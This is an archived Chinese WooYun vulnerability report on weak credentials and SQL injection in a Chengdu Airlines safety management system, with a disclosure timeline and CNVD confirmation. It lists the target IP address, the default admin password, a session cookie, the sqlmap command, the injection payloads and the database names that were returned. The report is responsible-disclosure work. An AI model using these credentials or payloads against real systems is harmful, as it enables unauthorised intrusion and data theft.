乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-12-05: 细节已通知厂商并且等待厂商处理中 2013-12-09: 厂商已经确认,细节仅向厂商公开 2013-12-19: 细节向核心白帽子及相关领域专家公开 2013-12-29: 细节向普通白帽子公开 2014-01-08: 细节向实习白帽子公开 2014-01-19: 细节向公众公开
成都航空某系统弱口令+SQL注入一颗
成都航空安全管理系统地址:
http://61.139.73.103/
1.用户名:admin 密码:123456
目前系统仍在使用,应该不是废弃系统
2.登录后点击“安全周报”一则,如:“安全周报(2013.5.11-5.17) ”
获取附件地址:
http://61.139.73.103/system/commonMng.do?operate=fileDownload&objectid=2598&objecType=INFOFILEUPLOAD&guid=2598####
获取Cookie:
JSESSIONID=3CA6FD26FCFFE0B59A5802CD4B9C8020
sqlmap注入:
sqlmap.py -u "http://61.139.73.103/system/commonMng.do?operate=fileDownload&objectid=2598&objecType=INFOFILEUPLOAD&guid=2598####" --cookie "JSESSIONID=3CA6FD26FCFFE0B59A5802CD4B9C8020" --current-db
Place: GETParameter: objectid Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: operate=fileDownload&objectid=2598' AND 7993=7993 AND 'iObm'='iObm&objecType=INFOFILEUPLOAD&guid=2598 Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: operate=fileDownload&objectid=2598' UNION ALL SELECT NULL,CHR(58)||CHR(116)||CHR(113)||CHR(121)||CHR(58)||CHR(107)||CHR(112)||CHR(77)||CHR(119)||CHR(103)||CHR(109)||CHR(104)||CHR(118)||CHR(108)||CHR(89)||CHR(58)||CHR(99)||CHR(118)||CHR(114)||CHR(58),NULL,NULL FROM DUAL-- &objecType=INFOFILEUPLOAD&guid=2598 Type: AND/OR time-based blind Title: Oracle OR time-based blind Payload: operate=fileDownload&objectid=-8123' OR 4614=DBMS_PIPE.RECEIVE_MESSAGE(CHR(114)||CHR(69)||CHR(79)||CHR(109),5) AND 'VpPG'='VpPG&objecType=INFOFILEUPLOAD&guid=2598---back-end DBMS: Oracleavailable databases [21]:[*] CDSMSENTER[*] CTXSYS[*] DBSNMP[*] DMSYS[*] EXFSYS[*] HR[*] IX[*] MDSYS[*] OE[*] OLAPSYS[*] ORDSYS[*] OUTLN[*] PM[*] SCOTT[*] SH[*] SYS[*] SYSMAN[*] SYSTEM[*] TSMSYS[*] WMSYS[*] XDB
修改密码,修复
危害等级:高
漏洞Rank:14
确认时间:2013-12-09 22:02
CNVD确认并复现所述情况,已经转由CNCERT下发四川分中心,由其后续联系网站管理单位处置。按多个漏洞进行评分,rank 14
暂无